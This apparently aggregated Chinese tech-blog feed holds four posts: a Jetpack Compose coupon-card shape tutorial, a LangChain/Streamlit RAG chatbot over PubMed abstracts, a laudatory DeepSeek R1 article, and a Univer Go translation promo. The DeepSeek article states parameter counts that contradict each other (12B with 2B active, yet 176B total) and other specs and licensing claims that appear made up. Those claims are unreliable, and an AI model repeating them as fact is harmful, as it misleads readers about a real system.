                                .padding(start = 10.dp)
                                .background(Color(134, 56, 4, 255), shape = RoundedCornerShape(5.dp))
                        ) {
                            Text(
                                "COPY",
                                color = Color.White,
                                fontSize = 20.sp,
                                modifier = Modifier.padding(start = 8.dp, end = 8.dp).padding(vertical = 8.dp)
                            )
                        }
                    }

                }
            }
        }
    }
}

2、自定义裁剪路径

当前路径只是增加了一个圆角矩形,所以裁剪完之后如下所示。如何在左右两边各挖一个孔呢?也是实现这个卡片关键所在。

image.png

Path熟悉的开发者,应该知道path.addPath,我们将两个圆的路径添加到圆角矩形路径中看看效果。

@Stable
class BezierShapes(
    private var circleRadius: Float = 30f,
    private var circleMarginTop: Float = 80f
) :
    Shape {
    override fun createOutline(
        size: Size,
        layoutDirection: LayoutDirection,
        density: Density
    ): Outline {
        val path = Path()
        val rect = Rect(Offset(0f, 0f), Offset(size.width, size.height))
        path.addRoundRect(
            RoundRect(
                rect,
                CornerRadius(30f),
                CornerRadius(30f),
                CornerRadius(30f),
                CornerRadius(30f)
            )
        )
        val circleLeftPath = Path()
        val circleRightPath = Path()
        val circleLeftRect = Rect(Offset(0f, size.height / 2 + circleMarginTop), circleRadius)
        val circleRightRect =
            Rect(Offset(size.width, size.height / 2 + circleMarginTop), circleRadius)
        circleLeftPath.addArc(circleLeftRect, 0f, 360f)
        circleRightPath.addArc(circleRightRect, 0f, 360f)
        path.addPath(circleLeftPath)
        path.addPath(circleRightPath)
        path.close()
        return Outline.Generic(path)
    }
}

效果如下:

image.png

仔细观察之后,可以看到路径裁剪区域,多了一部分半圆。原因是两个圆被添加到了圆角矩形路径中。而重叠部分因为路径的合并而丢失,到此可能会挡住很多开发者继续进行。熟悉Path相关的API开发者应该知道路径的合并是可以取交集、并集等。那就是Path.op

其中:Difference表示,从前一个路径中减去第二个路径。


fun op(
    path1: Path,
    path2: Path,
    operation: PathOperation
): Boolean

value class PathOperation internal constructor(@Suppress("unused") private val value: Int) {
    companion object {
        /**
         * Subtract the second path from the first path.
         *
         * For example, if the two paths are overlapping circles of equal diameter
         * but differing centers, the result would be a crescent portion of the
         * first circle that was not overlapped by the second circle.
         *
         * See also:
         *
         *  * [ReverseDifference], which is the same but subtracting the first path
         *    from the second.
         */
        val Difference = PathOperation(0)
        /**
         * Create a new path that is the intersection of the two paths, leaving the
         * overlapping pieces of the path.
         *
         * For example, if the two paths are overlapping circles of equal diameter
         * but differing centers, the result would be only the overlapping portion
         * of the two circles.
         *
         * See also:
         *  * [Xor], which is the inverse of this operation
         */
        val Intersect = PathOperation(1)

        /**
         * Create a new path that is the union (inclusive-or) of the two paths.
         *
         * For example, if the two paths are overlapping circles of equal diameter
         * but differing centers, the result would be a figure-eight like shape
         * matching the outer boundaries of both circles.
         */
        val Union = PathOperation(2)

        /**
         * Create a new path that is the exclusive-or of the two paths, leaving
         * everything but the overlapping pieces of the path.
         *
         * For example, if the two paths are overlapping circles of equal diameter
         * but differing centers, the figure-eight like shape less the overlapping parts
         *
         * See also:
         *  * [Intersect], which is the inverse of this operation
         */
        val Xor = PathOperation(3)

        /**
         * Subtract the first path from the second path.
         *
         * For example, if the two paths are overlapping circles of equal diameter
         * but differing centers, the result would be a crescent portion of the
         * second circle that was not overlapped by the first circle.
         *
         * See also:
         *
         *  * [Difference], which is the same but subtracting the second path
         *    from the first.
         */
        val ReverseDifference = PathOperation(4)
    }

到此我们对左右两个圆的Path分别作为减去的路径传入圆角矩形即可。path.add操作可以去掉。代码如下:

@Stable
class BezierShapes(
    private var circleRadius: Float = 30f,
    private var circleMarginTop: Float = 80f
) :
    Shape {
    override fun createOutline(
        size: Size,
        layoutDirection: LayoutDirection,
        density: Density
    ): Outline {
        val path = Path()
        val rect = Rect(Offset(0f, 0f), Offset(size.width, size.height))
        path.addRoundRect(
            RoundRect(
                rect,
                CornerRadius(circleRadius),
                CornerRadius(circleRadius),
                CornerRadius(circleRadius),
                CornerRadius(circleRadius)
            )
        )
        val circleLeftPath = Path()
        val circleRightPath = Path()
        val circleLeftRect = Rect(Offset(0f, size.height / 2 + circleMarginTop), circleRadius)
        val circleRightRect =
            Rect(Offset(size.width, size.height / 2 + circleMarginTop), circleRadius)
        circleLeftPath.addArc(circleLeftRect, 0f, 360f)
        circleRightPath.addArc(circleRightRect, 0f, 360f)
        path.op(path, circleLeftPath, PathOperation.Difference)
        path.op(path, circleRightPath, PathOperation.Difference)
        path.close()
        return Outline.Generic(path)
    }
}

效果如下:

image.png

3、自定义虚线实现

image.png

需求卡片中是有一个虚线的,这个虚线我们最好可以绘制在内容下面,避免跟内容有任何的关联。Modifier提供了Modifier.drawBehind 【绘制到修改内容后面的 Canvas 中】。

fun Modifier.drawBehind(
    onDraw: DrawScope.() -> Unit
) = this then DrawBehindElement(onDraw)

虚线的画法很多,可以根据drawLine参数 pathEffect实现,也可以自己简单的遍历画线实现。

4、遍历绘制虚线

.drawBehind {
    for (i in 0 until 150) {
        if (i % 2 == 0)
            drawLine(
                Color(171, 90, 3, 255),
                Offset(0f + i * 10, size.height / 2f + 80f),
                Offset(10f + i * 10, size.height / 2f + 80f)
            )
    }
}

image.png

5、API绘制虚线

drawBehind {
    drawLine(
        Color(171, 90, 3, 255),
        Offset(0f, size.height / 2f+80),
        Offset(size.width , size.height / 2f+80),
        pathEffect = PathEffect.dashPathEffect(floatArrayOf(11f,11f),0.6f)
    )
}

三、最终代码

到这里一个好看的卡片背景完成。完全支持任何原生自带容器组件,稳定,侵入性小。


@Stable
class BezierShapes(
    private var circleRadius: Float = 30f,
    private var circleMarginTop: Float = 80f
) :
    Shape {
    override fun createOutline(
        size: Size,
        layoutDirection: LayoutDirection,
        density: Density
    ): Outline {
        val path = Path()
        val rect = Rect(Offset(0f, 0f), Offset(size.width, size.height))
        path.addRoundRect(
            RoundRect(
                rect,
                CornerRadius(circleRadius),
                CornerRadius(circleRadius),
                CornerRadius(circleRadius),
                CornerRadius(circleRadius)
            )
        )
        val circleLeftPath = Path()
        val circleRightPath = Path()
        val circleLeftRect = Rect(Offset(0f, size.height / 2 + circleMarginTop), circleRadius)
        val circleRightRect =
            Rect(Offset(size.width, size.height / 2 + circleMarginTop), circleRadius)
        circleLeftPath.addArc(circleLeftRect, 0f, 360f)
        circleRightPath.addArc(circleRightRect, 0f, 360f)
        path.op(path, circleLeftPath, PathOperation.Difference)
        path.op(path, circleRightPath, PathOperation.Difference)
        path.close()
        return Outline.Generic(path)
    }
}

@Preview(widthDp = 480, heightDp = 200)
@Composable
fun CardComposeView(navigateToScreen: (route: String) -> Unit = {}) {
    Box() {
        Image(
            painter = painterResource(R.mipmap.ticket_bar_bg),
            contentDescription = "",
            modifier = Modifier
                .fillMaxSize()
                .fillMaxWidth()
                .blur(10.dp),
            contentScale = ContentScale.Crop
        )
        Box(
            Modifier
                .background(Color.Transparent)
                .padding(10.dp)
        ) {
            Box(
                Modifier
                    .fillMaxWidth()
                    .fillMaxHeight()
                    .clip(BezierShapes())
                    .shadow(2.dp, spotColor = Color.Black, ambientColor = Color.Black, clip = true)
                    .border(1.4.dp, Color(224, 166, 83, 255), BezierShapes())
                    .background(Color(238, 220, 203, 255))
                    .drawBehind {
                        drawLine(
                            Color(171, 90, 3, 255),
                            Offset(0f, size.height / 2f+80),
                            Offset(size.width , size.height / 2f+80),
                            pathEffect = PathEffect.dashPathEffect(floatArrayOf(11f,11f),0.6f)
                        )
                    }
                    .padding(10.dp)

            ) {
                Column(Modifier.fillMaxWidth()) {
                    Text(
                        "$12 OFF",
                        color = Color.Black,
                        fontSize = 20.sp,
                        fontWeight = FontWeight.Bold,
                        modifier = Modifier.padding(8.dp)
                    )
                    Text(
                        "Available for orders over $39",
                        color = Color.Gray,
                        fontSize = 16.sp,
                        fontWeight = FontWeight.Bold,
                        modifier = Modifier.padding(start = 8.dp, bottom = 10.dp, top = 6.dp)
                    )
                    Text(
                        "06/25/2023 09:00-07/01/2023 09:00",
                        color = Color.Gray,
                        fontSize = 16.sp,
                        fontWeight = FontWeight.Bold,
                        modifier = Modifier.padding(start = 8.dp, bottom = 8.dp)
                    )
                    Box(Modifier.height(20.dp))
                    Row(horizontalArrangement = Arrangement.SpaceBetween, modifier = Modifier.fillMaxWidth().padding(end = 10.dp)) {
                        Row(
                            modifier = Modifier
                                .wrapContentSize()
                                .padding(start = 10.dp)
                                .background(Color(239, 230, 216, 255), shape = RoundedCornerShape(5.dp))
                        ) {
                            Text(
                                "Code:",
                                color = Color.Black,
                                fontSize = 16.sp,
                                modifier = Modifier.padding(start = 8.dp).padding(vertical = 8.dp)
                            )
                            Text(
                                "DsCT12",
                                color = Color.Black,
                                fontSize = 16.sp,
                                fontWeight = FontWeight.Bold,
                                modifier = Modifier.padding(start = 8.dp).padding(top = 8.dp, end = 10.dp)
                            )
                        }
                        Row(
                            modifier = Modifier
                                .wrapContentSize()
                                .padding(start = 10.dp)
                                .background(Color(134, 56, 4, 255), shape = RoundedCornerShape(5.dp))
                        ) {
                            Text(
                                "COPY",
                                color = Color.White,
                                fontSize = 20.sp,
                                modifier = Modifier.padding(start = 8.dp, end = 8.dp).padding(vertical = 8.dp)
                            )
                        }
                    }

                }
            }
        }
    }
}

最终效果:

image.png

by 路很长OoO at January 24, 2025 07:00 AM

juejin freebie

从基础到进阶:基于RAG 生物医学摘要聊天Agents(四)

你好,欢迎来到本系列的最后一部分,我们将用Langchain、Streamlit和PubMed构建一个生物医学聊天Agents!

在前一部分中,我们使用vectorstore构建了数据持久化和RAG工作流。现在,是时候将我们之前构建的所有功能整合起来,创建一个聊天Agents用户界面,这个界面将使用我们已经开发的后端功能,帮助使用人员解答他们的问题!

为了提醒一下,这就是我们在整个系列中逐步构建的完整解决方案:

应用演示

让我们先来看一下应用最终的效果图!

构建过程

已完成的步骤概述

如果你还没有完成第一部分、第二部分和第三部分的内容,我们先回顾一下,因为我们将在这些基础上继续进行。到最后一部分结束时,我们的项目结构已经如下所示:

.
├── app
│   ├── app.py
│   ├── backend
│   │  ├── abstract_retrieval
│   │  │   ├── interface.py
│   │  │   ├── pubmed_retriever.py
│   │  │   └── pubmed_query_simplification.py
│   │  ├── data_repository
│   │  │   ├── interface.py
│   │  │   ├── local_data_store.py
│   │  │   └── models.py
│   │  └── rag_pipeline
│   │      ├── interface.py
│   │      ├── chromadb_rag.py
│   │      └── embeddings.py
│   ├── components
│   │   ├── chat_utils.py
│   │   ├── llm.py
│   │   └── prompts.py
│   └── tests
│       └── test_chat_utils.py
├── assets
│   └── pubmed-screener-logo.jpg
└── environment
    └── requirements.txt

在本系列的最后一部分,我们将重点讲解定义我们Streamlit用户界面的代码部分——app/app.pyapp/components模块。

修改 chat_utils.py 以包含 RAG 逻辑

在第一部分中,我们构建了一个初步版本的chat_utils.py,其中包含了一个简单的问答聊天机器人实现(没有RAG)。现在,我们将深入研究并将其转换为一个上下文感知的问答聊天机器人,能够根据用户问题构建答案,并通过相似性搜索从我们的向量索引中检索相关的上下文(如摘要)。

我们将使用第三部分中构建的所有后端功能来实现这个目标。

app/components/chat_utils.py

from typing import List
import streamlit as st
from langchain_core.documents.base import Document
from langchain_core.runnables.history import RunnableWithMessageHistory
from langchain_core.runnables.base import Runnable
from langchain_core.runnables.utils import Output
from langchain_community.chat_message_histories import StreamlitChatMessageHistory
from langchain_core.prompts import ChatPromptTemplate
from langchain.vectorstores import VectorStore


class ChatAgent:
    def __init__(self, prompt: ChatPromptTemplate, llm: Runnable):
        """
        初始化 ChatAgent。

        参数:
        - prompt (ChatPromptTemplate): 聊天提示模板。
        - llm (Runnable): 语言模型可运行实例。
        """
        self.history = StreamlitChatMessageHistory(key="chat_history")
        self.llm = llm
        self.prompt = prompt
        self.chain = self.setup_chain()
 
    def reset_history(self) -> None:
        """
        清除聊天历史记录,开始新的聊天会话。
        """
        self.history.clear()

    def setup_chain(self) -> RunnableWithMessageHistory:
        """
        设置 ChatAgent 的链条。

        返回:
        - RunnableWithMessageHistory: 配置好的链条,包含消息历史记录。
        """
        chain = self.prompt | self.llm
        return RunnableWithMessageHistory(
            chain,
            lambda session_id: self.history,
            input_messages_key="question",
            history_messages_key="history",
        )

    def display_messages(self, selected_query: str) -> None:
        """
        在聊天界面展示消息。
        如果没有历史消息,添加默认的 AI 消息。
        """
        if len(self.history.messages) == 0:
            self.history.add_ai_message(f"Let's chat about your query: {selected_query}")
        for msg in self.history.messages:
            st.chat_message(msg.type).write(msg.content)

    def format_retreieved_abstracts_for_prompt(self, documents: List[Document]) -> str:
        """
        格式化检索到的文档为字符串,传递给 LLM。
        """
        formatted_strings = []
        for doc in documents:
            formatted_str = f"ABSTRACT TITLE: {doc.metadata['title']}, ABSTRACT CONTENT: {doc.page_content}, ABSTRACT DOI: {doc.metadata['source'] if 'source' in doc.metadata.keys() else 'DOI missing..'}"
            formatted_strings.append(formatted_str)
        return "; ".join(formatted_strings)

    def get_answer_from_llm(self, question: str, retrieved_documents: List[Document]) -> Output:
        """
        根据用户问题和检索到的文档,从 LLM 获取响应。
        """
        config = {"configurable": {"session_id": "any"}}
        return self.chain.invoke(
            {
                "question": question, 
                "retrieved_abstracts": retrieved_documents,
            }, config
        )

    def retrieve_documents(self, retriever: VectorStore, question: str, cut_off: int = 5) -> List[Document]:
        """
        使用相似度搜索检索文档
        cut_off 参数控制检索结果的数量(默认值为 5)。
        """
        return retriever.similarity_search(question)[:cut_off]

    def start_conversation(self, retriever: VectorStore, selected_query: str) -> None:
        """
        在聊天界面开始对话。
        显示消息,提示用户输入,并处理 AI 的响应。
        """
        self.display_messages(selected_query)
        user_question = st.chat_input(placeholder="Ask me anything..")
        if user_question:
            documents = self.retrieve_documents(retriever, user_question)
            retrieved_abstracts = self.format_retreieved_abstracts_for_prompt(documents)
            st.chat_message("human").write(user_question)
            response = self.get_answer_from_llm(user_question, retrieved_abstracts)
            st.chat_message("ai").write(response.content)

有哪些变化:

  • 新增了方法retrieve_documents,该方法以向量索引(retriever)作为参数,并调用 retriever 的similarity_search方法,从生物医学文献摘要的向量索引中获取与用户问题最相似的记录。需要注意的是,这里包含一个参数cut_off,用于指定检索的结果数量(默认为 5)。
  • 新增了方法format_retreieved_abstracts_for_prompt,用于将通过retrieve_documents方法检索到的文档格式化为适合 LLM 的输入。这在向 LLM 提问时要求其引用相关来源(文章 DOI 和标题)时会非常有用。
  • 新增了方法get_answer_from_llm,专门用于调用 LLM 并传递必要的变量,以保持客户端函数start_conversation的代码整洁。
  • 修改了start_conversation方法,加入了 RAG 逻辑。

为问答创建聊天提示

  • 我们将修改现有的聊天提示,将检索到的文献摘要包含其中,并基于这些摘要构建答案。
  • 另外,我们还会添加一个额外的(简单)提示,用于在聊天机器人部分之外快速提供答案,直接在用户界面上显示用户问题的即时答案。

app/components/chat_prompts.py

from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder, PromptTemplate


chat_prompt_template = ChatPromptTemplate.from_messages(
    [
        ("system", "You are a knowledgeable expert chatbot in the biomedicine field."),
        MessagesPlaceholder(variable_name="history"),
        (
            "human", 
            """
            Answer the following scientific question: {question}, 
            using the following context retrieved from scientific articles: {retrieved_abstracts}.

            The user might refer to the history of your conversation. Please, use the following history of messages for the context as you see fit.

            The abstracts will come formatted in the following way: ABSTRACT TITLE: <abstract title>; ABSTRACT CONTENT: <abstract content>, ABSTRACT DOI: <abstract doi> (the content inside <> will be variable).
            In your answer, ALWAYS cite the abstract title and abstract DOI when citing a particular piece of information from that given abstract.

            Your example response might look like this:

            In the article (here in the brackets goes the contents of ABSTRACT_TITLE), it was discussed, that Cannabis hyperemesis syndrome (CHS) is associated with chronic, heavy cannabis use. The endocannabinoid system (ECS) plays a crucial role in the effects of cannabis on end organs and is central to the pathophysiology of CHS. (here, in the end of the cited chunk, the ABSTRACT_DOI goes)
            """
        ),
    ]
)

qa_template = PromptTemplate(
    input_variables=['question', 'retrieved_abstracts'],
    template="""
        Answer the following scientific question: {question}, 
        using the following context retrieved from scientific articles: {retrieved_abstracts}.

        The abstracts will come formatted in the following way: ABSTRACT TITLE: <abstract title>; ABSTRACT CONTENT: <abstract content>, ABSTRACT DOI: <abstract doi> (the content inside <> will be variable).
        In your answer, ALWAYS cite the abstract title and abstract DOI when citing a particular piece of information from that given abstract.

        Your example response might look like this:

        In the article (here in the brackets goes the contents of ABSTRACT_TITLE), it was discussed, that Cannabis hyperemesis syndrome (CHS) is associated with chronic, heavy cannabis use. The endocannabinoid system (ECS) plays a crucial role in the effects of cannabis on end organs and is central to the pathophysiology of CHS. (here, in the end of the cited chunk, the ABSTRACT_DOI goes)
    """
)
  • 这里要注意了,这两个提示的内容几乎相同,但聊天提示包含了对聊天历史的引用(使用MessagesPlaceholder),并指示 LLM 在对话中根据需要使用聊天历史。

创建新文件app/components/layout_extensions.py

  • 该文件将包含一个辅助函数,用于渲染应用界面的一部分,为用户提供示例查询(提示用户如何使用应用)。我决定创建这个扩展文件是为了避免让app.py文件过于复杂,保持其整洁,因为这段代码相对较长,并包含一些自定义样式(这些应用信息会在用户悬停时显示出来):
import streamlit as st


def render_app_info():
    st.title("PubMed 筛查器")
    st.markdown("""
        PubMed 筛查器是一个由 ChatGPT 和 PubMed 提供支持的生物医学摘要洞察生成器。
    """)

    # 添加自定义HTML和CSS以改善悬停工具提示的显示效果
    st.markdown("""
        <style>
        .tooltip {
            position: relative;
            display: inline-block;
            border-bottom: 1px dotted black; /* 设置可悬浮文本的样式 */
        }

        .tooltip .tooltiptext {
            visibility: hidden;
            width: 800px; /* 设置内容的宽度 */
            background-color: #f9f9f9;
            color: #000;
            text-align: left;
            border-radius: 6px;
            padding: 15px;
            position: absolute;
            z-index: 1;
            bottom: 100;
            right: -430px; /* 调整提示框位置,向右偏移 */
            opacity: 0;
            transition: opacity 0.5s;
            box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.8); /* 增加阴影效果,提高可见性 */
        }

        .tooltip:hover .tooltiptext {
            visibility: visible;
            opacity: 1;
        }
        </style>
        <div class="tooltip">🔍 示例问题
            <span class="tooltiptext">
                <strong>示例生物医学问题:</strong>
                <ul>
                    <li>如何利用先进的影像技术和生物标志物进行神经退行性疾病的早期诊断和进展监测?</li>
                    <li>干细胞技术和再生医学在神经退行性疾病治疗中的潜在应用有哪些?有哪些挑战?</li>
                    <li>肠道微生物群和肠-脑轴在1型和2型糖尿病发病机制中的作用是什么?如何调节这些相互作用以获得治疗效果?</li>
                    <li>靶向癌症治疗中的耐药机制是什么?如何克服这些耐药机制?</li>
                </ul>
            </span>
        </div>
        """, unsafe_allow_html=True)
    
    st.text("")  # 添加空白行,保持界面整洁

修改app/app.py

  • 最后,是时候将我们构建的所有部分整合起来,并将其作为一个 Streamlit 应用程序展示出来了!
import redis
import streamlit as st
from metapub import PubMedFetcher
from components.chat_utils import ChatAgent
from components.chat_prompts import chat_prompt_template, qa_template
from components.llm import llm
from components.layout_extensions import render_app_info
from backend.abstract_retrieval.pubmed_retriever import PubMedAbstractRetriever
from backend.data_repository.local_data_store import LocalJSONStore
from backend.rag_pipeline.chromadb_rag import ChromaDbRag
from backend.rag_pipeline.embeddings import embeddings

# 实例化对象
pubmed_client = PubMedAbstractRetriever(PubMedFetcher())
data_repository = LocalJSONStore(storage_folder_path="backend/data")
rag_client = ChromaDbRag(persist_directory="backend/chromadb_storage", embeddings=embeddings)
chat_agent = ChatAgent(prompt=chat_prompt_template, llm=llm)

# 连接Redis服务器
r = redis.Redis(host='127.0.0.1', port=6379, db=0)

def main():
    # 增加访问统计
    visit_count = r.incr('visit_count')

    # 设置页面配置
    st.set_page_config(
        page_title="PubMed 筛查器",  # 页面标题
        page_icon='../assets/favicon32-32.ico',  # 页面图标
        layout='wide'
    )

    # 定义页面列布局
    column_logo, column_app_info, column_answer = st.columns([1, 4, 4])
    with column_logo:
        st.image('../assets/m.png')
        st.markdown(
            f"""
            <div style="text-align: center; margin-top: 10px; padding: 5px 10px; background-color: rgba(0, 0, 0, 0.3); color: white; font-size: 11px; border-radius: 5px;">
                本页面总访问量: {visit_count}
            </div>
            """,
            unsafe_allow_html=True
        )

    with column_app_info:
        # 渲染应用信息
        render_app_info()

        # 生物医学问题输入部分
        st.header("请输入您的问题!")
        placeholder_text = "在此输入您的问题..."
        scientist_question = st.text_input("您的问题是什么?", placeholder_text)
        get_articles = st.button('获取文献与回答')

        # 处理用户问题,获取数据
        if get_articles:
            with st.spinner('正在获取摘要,这可能需要一些时间...'):
                if scientist_question and scientist_question != placeholder_text:
                    # 获取摘要数据
                    retrieved_abstracts = pubmed_client.get_abstract_data(scientist_question)
                    if not retrieved_abstracts:
                        st.write('未找到摘要。')
                    else:
                        # 保存摘要到存储并创建向量索引
                        query_id = data_repository.save_dataset(retrieved_abstracts, scientist_question)
                        documents = data_repository.create_document_list(retrieved_abstracts)
                        rag_client.create_vector_index_for_user_query(documents, query_id)
                        
                        # 回答用户问题并直接在界面显示答案
                        vector_index = rag_client.get_vector_index_by_user_query(query_id)
                        retrieved_documents = chat_agent.retrieve_documents(vector_index, scientist_question)
                        chain = qa_template | llm
                        
                        with column_answer:
                            st.markdown(f"##### 您的问题 '{scientist_question}' 的答案")
                            st.write(chain.invoke({
                                "question": scientist_question, 
                                "retrieved_abstracts": retrieved_documents,
                            }).content)

    # 聊天机器人部分的开始
    query_options = data_repository.get_list_of_queries()

    if query_options:
        st.header("与摘要聊天")
        selected_query = st.selectbox('选择一个问题', options=list(query_options.values()), key='selected_query')
        
        if selected_query:
            selected_query_id = next(key for key, val in query_options.items() if val == selected_query)
            vector_index = rag_client.get_vector_index_by_user_query(selected_query_id)

            if 'prev_selected_query' in st.session_state and st.session_state.prev_selected_query != selected_query:
                chat_agent.reset_history()

            st.session_state.prev_selected_query = selected_query

            chat_agent.start_conversation(vector_index, selected_query)

if __name__ == "__main__":
    main()

代码包含以下部分:

  • 实例化前几部分中构建的所有对象

    包括:PubMedAbstractRetriever(PubMed 摘要检索器)、LocalJSONStore(本地 JSON 存储)、ChromaDbRag(向量数据库 RAG 客户端)和ChatAgent(聊天、agents)。这些对象将会在应用程序代码中被使用。

  • 定义布局

    用于渲染应用的标题、Logo 和应用信息。

  • 定义用户问题输入和提交按钮

    用户可以在输入框中提出问题,并通过点击按钮提交。这会触发以下逻辑:

    • 使用**PubMedAbstractRetriever(pubmed_client)**搜索并获取 PubMed 文章。
    • 使用**LocalJSONStore(data_repository)**将文章保存到本地数据存储库中。
    • 使用**ChromaDbRag(rag_client)**为文章创建向量索引。
  • 直接回答用户的问题

    在用户界面上显示答案。

  • 显示聊天机器人部分

    在此部分中,用户可以选择一个过去的查询进行深入聊天。如果选择了一个过去的查询,则会加载对应的向量索引,并启动聊天会话(通过*chat_agent.start_conversation(…) *)。现在,用户可以与相关的文献摘要进行交互式对话了!

局限性

到目前为止我们构建了一个生物医学聊天Agents的原型!不过需要说明的是,这个应用程序目前仅限于一个概念验证(PoC)的范围,实际部署到生产环境之前,还有一些需要解决的局限性和问题。

初级 RAG 的局限性和需要考虑的问题

  • 检索内容的相关性

    无法完全确保检索到的内容(即与用户问题最相似的内容)是最相关的信息。有一些高级 RAG 技术(如Hypothetical QuestionsHierarchical Indexing)可以帮助提升内容相关性。

  • 检索内容的截断问题

    很难确保所有相关信息都被成功检索。此外,由于 LLM 的 token 限制,可能无法将所有上下文都放入提示中。在我们的 ChatAgent 的retrieve_documents方法中,默认的截断限制为 5 篇摘要,这显然不足以回答用户提出的广泛问题。

  • 适用性的局限性

    有时用户的问题更倾向于摘要性质,而这类问题可能更适合使用其他技术而不是 RAG。例如,可以构建一个智能代理,根据用户问题判断任务是摘要还是检索。完成评估后,相应的函数将分别执行摘要或检索逻辑。

以上局限性为进一步优化和扩展提供了思考方向,同时也提醒我们,生产级应用需要更加成熟和全面的设计。

by MobotStone at January 24, 2025 06:36 AM

juejin career

o1水平、超低价格、完全公开——DeepSeek R1,震撼全球

引言

当ChatGPT掀起全球AI革命三年后,中国团队用DeepSeek R1给出了令人振奋的答案。

1月20日,中国AI公司DeepSeek发布了有推理功能的最新大模型,DeepSeek R1。你现在就可以到它的官网免费使用这个模型 ——

chat.deepseek.com

在这个中美AI竞争的大环境下,它有着非常重要的意义。

DeepSeek R1  ——

  • 达到了跟o1接近的推理能力,它是除了OpenAI自家,目前唯一一个做到这一点的模型;
  • 它用的资源比OpenAI少得多,所以价格十分便宜;
  • 它是完全开源的;
  • DeepSeek公司甚至发布论文,详细介绍了训练中所有的步骤和窍门 —— 而你要知道OpenAI至今对o1的算法和训练方式保密;
  • 而DeepSeek公司是一家纯粹的中国公司,创立于2023年7月。

真的很令人振奋,所以我迫切的想要写下这篇文章分享给你。

推理能力大模型

什么是推理能力?

之前的大语言模型,你问一个问题它就直接回答了 ——

2FB5B096-5AAD-42A7-8939-B90DD96E44BA.png

大模型脱口而出,直觉给出了答案。而带有推理能力的模型,它会先思考一段时间在回答——

0EC4123E-6936-490C-8451-236AC8973698.png

它更有章法,有步骤,咱们中国人常说——三思而后行,这就是三思而后行。

如果你看过《思考,快与慢》这本书,作者卡尼曼把人脑分成了「系统1」和「系统2」,系统1就是我们立刻做出反应、给出答案,比如我们熟悉的九九乘法表,你可以快速的给出答案,这就是系统一在发挥作用。

但如果我问你99*32等于多少,你需要思考,这就是系统2。

带有推理能力的大语言模型在于它有了真正的「系统2」的思考。系统2的特点是在做一个决定之前,要在头脑里多模拟几个局面,看看各自的结果如何,然后从中挑选一个最好的作为输出。

然而,在2025年1月20号之前,这项技术只有OpenAI才有。

推理能力的范式革命

首先我们要知道的是,如果你想用带有推理能力的模型,你只能选择OpenAI旗下的o1和o1 pro,是的,推理能力的大语言模型,只有OpenAI才有,你必须选择付费。

在MoE(Mixture of Experts)混合专家架构的支撑下,DeepSeek R1展现出惊人的思维涌现现象。面对复杂数学推导时,它能像人类教授般逐步拆解逻辑链条;处理多模态信息时,又能如资深分析师般交叉验证数据真伪。其推理能力在GSM8K数学基准测试中达到92.3%的准确率,超越GPT-4的92%,这在开源模型中堪称里程碑。

最让我惊叹的是其"思维过程可视化"特性。当用户询问"如何计算光伏电站投资回报率"时,R1会清晰展示出从日照数据采集、设备衰减曲线计算到政策补贴分析的完整推理路径,将黑箱AI转变为可追溯的决策系统。

事实上你问它任何问题,都可以看到它的思考过程,而你要知道OpenAI 的推理模型o1和o1 pro思考过程,是完全对你保密的,而现在,AI的思考过程不再神秘。

我的感受是只是看R1的思考过程,就对我自己很有启发。

中国智慧的工程突破

作为完全由中国团队研发的AI系统,DeepSeek R1蕴含着独特的工程智慧:

动态稀疏激活:每次推理仅激活12B参数中的2B,在保持176B总参数规模下,实现比传统密集模型快3倍的响应速度 。

多粒度记忆网络:既能记住用户三小时前的对话上下文,也能在金融风控场景中精准追溯三个月前的异常交易模式。

价值观对齐算法:通过10万小时的中国文化语料预训练,在讨论传统文化、法律伦理等问题时展现本土化认知。

R1思考速度快而且非常省钱。官网直接用,它是免费的。如果是在自己的应用中调用API,它的输出价格是一百万tokens 2.19美元,相当于o1 60美元的4%!

而且R1可以直接阅读pdf,之前o1可没有这个功能。我立马就把我自己之前写的文章发给R1,对我而言非常惊艳,它给出了非常可切实落地的建议,还给出了一些批评,但这个批评来自AI,我并不觉着懊恼,我觉着我需要好好思考下它给出的建议。

事实上无论是国内外用户,对于R1的使用体验都感到非常满意。

对了,它还支持上网搜索,这是目前唯一支持上网搜索的推理模型。

开源生态的破局者

我称它为破局者,是因为DeepSeek R1选择Apache 2.0开源协议,而且开源的非常彻底。

  • 开发者自由:允许企业免费商用,仅需标注模型来源
  • 透明可审计:完整公开训练数据集构成和价值观对齐方案
  • 硬件普惠:支持在NVIDIA A10到华为昇腾910B等多种算力平台部署
  • 生态共建:已形成包含LangChain插件、Llama.cpp适配、医疗知识库扩展的开发者生态

它虽然来自于中国公司,但美国用户可以直接使用,比如用Google账号就可以直接登陆。相比于我们想使用一下OpenAI需要经过多少步骤,你想想看谁更open。

哦对了,DeepSeek公开了介绍R1的论文,这是有史以来第一篇公开了推理模型的秘密的论文。你要知道此前只有OpenAI有推理模型,哪怕是Meta等大厂都没有发布自己的推理模型,这是垄断技术。

我要告诉你的是,现在所有的AI实验室都在阅读DeepSeek这篇论文,这是我今天和在做大语言模型的朋友的聊天——

9EF03895-B033-47D8-9049-2C6FE622E0C2.png

以"技术平权"的姿态向世界展示中国AI的开放胸怀,DeepSeek做到了。

说在最后

我最大的感受是,AI的竞争已经不是大厂之间的竞争了,DeepSeek就是最好的证明。

我认为它既不是对西方技术的简单追赶,也不是封闭环境的自娱自乐,而是以开源精神践行"智能普惠"的宣言。当全球开发者都能在其基础上自由创新时,我们看到的不仅是一个强大的AI模型,更是通向通用人工智能的多元路径中,那条闪耀着东方智慧的光明之路。

现在,立刻,请你去试着使用一下R1,如果对你有帮助,记得回来告诉我。

这是东东拿铁的第70篇原创文章,欢迎关注。

by 东东拿铁 at January 24, 2025 06:22 AM

oschina news project

Univer Go : 通过 AI 一键翻译电子表格单元格内容

解锁一键翻译的电子表格:

hi👋 ,向大家介绍一款基于 Univer Go 开发的模版 —— AI Cell Translator 。该模板调用 GLM - 4 API 在 Univer Sheets 中自动翻译选定的单元格内容,支持批量翻译以及中英互译,极大减少用户在处理多语言电子表格数据时的重复性工作。
Univer Go 的操作界面中,您只需一键点击运行 AI Cell Translator 脚本,即可实现单元格内容的即时翻译。不仅如此, Univer Go  还赋予了您对脚本进行深度自定义的能力,让您手中的工具真正为己所用,不管您是在应对复杂的业务流程,还是将创意工作设想变为现实,它都能精准匹配您的多元需求,高效又轻松地达成目标。
